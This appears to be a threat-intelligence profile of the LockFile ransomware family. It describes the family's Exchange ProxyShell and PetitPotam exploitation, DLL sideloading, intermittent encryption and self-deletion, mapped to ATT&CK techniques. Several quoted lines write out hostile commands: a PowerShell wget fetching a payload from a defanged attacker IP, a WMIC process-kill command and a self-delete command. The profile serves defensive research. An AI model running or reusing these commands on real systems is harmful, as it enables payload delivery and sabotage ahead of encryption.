LockFile
- Type
- Ransomware
- Capabilities
- Initial accessPrivilege escalationLateral movementDefense evasionDLL sideloadingByovdExtortion
- Platforms
- Windows
LockFile is a Windows ransomware family first observed in July 2021. It has targeted enterprises worldwide, with many observed victims in the United States and Asia, across manufacturing, financial services, engineering, legal, business services, and travel and tourism. The China-based ransomware operator tracked by Microsoft as DEV-0401 has deployed LockFile alongside other ransomware families.
LockFile campaigns exploited unpatched, on-premises Microsoft Exchange servers through the ProxyShell vulnerability chain, comprising CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207. Following initial compromise, attackers used PetitPotam-related exploitation and NTLM relay techniques to obtain control of domain controllers. Observed deployment chains abused legitimate software through DLL search order hijacking, used Kernel Driver Utility components to obtain kernel-level access and disable endpoint protection, and distributed ransomware across domain-connected systems through shared domain scripts and Group Policy.
LockFile's distinctive intermittent encryption routine encrypts alternating 16-byte blocks throughout a file. This leaves encrypted files statistically closer to their original contents than full-file encryption, reducing signals used by some ransomware detection tools. It also uses memory-mapped I/O to modify files in memory, allowing the Windows System process to persist encrypted data with minimal direct disk-write activity from the ransomware process. Encryption does not require communication with a command-and-control server.
Before encryption, LockFile uses Windows Management Instrumentation to terminate database and virtualization processes, releasing locks on valuable files. It enumerates fixed drives, encrypts selected files, and displays an HTML Application ransom note demanding payment for recovery. Packing and malformed executable structures hinder static analysis, while self-deletion after encryption removes the ransomware binary and complicates incident response. Avast released a free LockFile decryptor in October 2021.
Associated vulnerabilities
4 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
Associated threat actors
1 distinct threat actor Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
DEV-0401 has previously deployed multiple ransomware families including LockFile, AtomSilo, and Rook.
Techniques & procedures
19 distinct techniques documented for this family, organized by ATT&CK tactic.
Initial Access
1 technique
Initial Access
Called LockFile, the operators of the ransomware have been found exploiting recently disclosed flaws such as ProxyShell and PetitPotam to compromise Windows servers and deploy file-encrypting malware.
Execution
5 techniques
Execution
Once deposited, the malware also takes steps to terminate critical processes associated with virtualization software and databases via the Windows Management Interface (WMI), before proceeding to encrypt critical files and objects.
These files are copied into the “sysvol\domain\scripts” directory. This directory is used to deploy scripts to network clients when they authenticate to the domain controller. This means that any clients that authenticate to the domain after these files have been copied over will execute them.
On exploitation, the attacker executes a PowerShell command such as the following: powershell wget hxxp://209.14.0[.]234:46613/VcEtrKighyIFS5foGNXH
Once it has encrypted all the documents on the machine, the ransomware deletes itself with the following command: cmd /c ping 127.0.0.1 -n 5 && del ...
The active_desktop_launcher.exe is a legitimate version of KuGou Active Desktop. The executable is being used in a DLL search order loading attack to load a malicious active_desktop_render.dll file.
Privilege Escalation
1 technique
Privilege Escalation
Symantec, fingering an unknown Exchange vulnerability being used to deploy ransomware: LockFile: Ransomware Uses PetitPotam Exploit to Compromise Windows Domain Controllers
Stealth
4 techniques
Stealth
LockFile uses multiple techniques designed to evade detection, starting with its own executable file which is both packed and malformed. The first section of the file is full of zeroes and is followed by a second section that contains encoded data.
What's more, the ransomware deletes itself from the system post successful encryption of all the documents on the machine, meaning that 'there is no ransomware binary for incident responders or antivirus software to find or clean up.'
This active_desktop_render.dll file, when loaded by the active_desktop_launcher.exe, attempts to load and decrypt a file in the local directory called “desktop.ini”. If the file is successfully loaded and decrypted, shellcode from the file is executed.
The active_desktop_launcher.exe is a legitimate version of KuGou Active Desktop. The executable is being used in a DLL search order loading attack to load a malicious active_desktop_render.dll file.
Defense Impairment
1 technique
Defense Impairment
The malware then leverages the Windows Management Interface (WMI) to scan for and kill important processes associated with business applications including Hyper-V virtual machines... Microsoft SQL Server, MySQL database... and VMware virtual machines.
Credential Access
2 techniques
Credential Access
The group behind the ransomware is also leveraging an NTLM relay attack known as PetitPotam to gain access to domain controllers inside corporate networks.
This is an NTLM relay attack bug that can be used by a low-privileged attacker to take over a domain controller.
Discovery
2 techniques
Discovery
a string is decoded, which is a parameter for the system() call... This terminates all processes with vmwp in their name... repeated for other business critical processes associated with virtualization software and databases
The code continues to retrieve all drive letters with GetLogicalDriveString() ... it determines the drive type via GetDriveType() ... uses FindFirstFile() and FindNextFile() to iterate through the directory
Lateral Movement
1 technique
Lateral Movement
Once access has been gained to the local domain controller, the attackers copy over the LockFile ransomware, along with a batch file and supporting executables, onto the domain controller.
Collection
1 technique
Collection
This is an NTLM relay attack bug that can be used by a low-privileged attacker to take over a domain controller.
Command and Control
1 technique
Command and Control
Adversaries exploiting these vulnerabilities are dropping web shells on to the compromised device through which they can issue additional commands such as downloading and executing malicious binaries
Impact
2 techniques
Impact
Once deposited, the malware also takes steps to terminate critical processes associated with virtualization software and databases via the Windows Management Interface (WMI), before proceeding to encrypt critical files and objects, and display a ransomware note. | Called LockFile, the operators of the ransomware have been found exploiting recently disclosed flaws such as ProxyShell and PetitPotam to compromise Windows servers and deploy file-encrypting malware that scrambles only every alternate 16 bytes of a file, thereby giving it the ability to evade ransomware defences.
wmic process where "name like '%sqlservr%'" call terminate ... Terminating these processes will ensure that any locks on associated files/databases are released
Observables
16 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
24 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.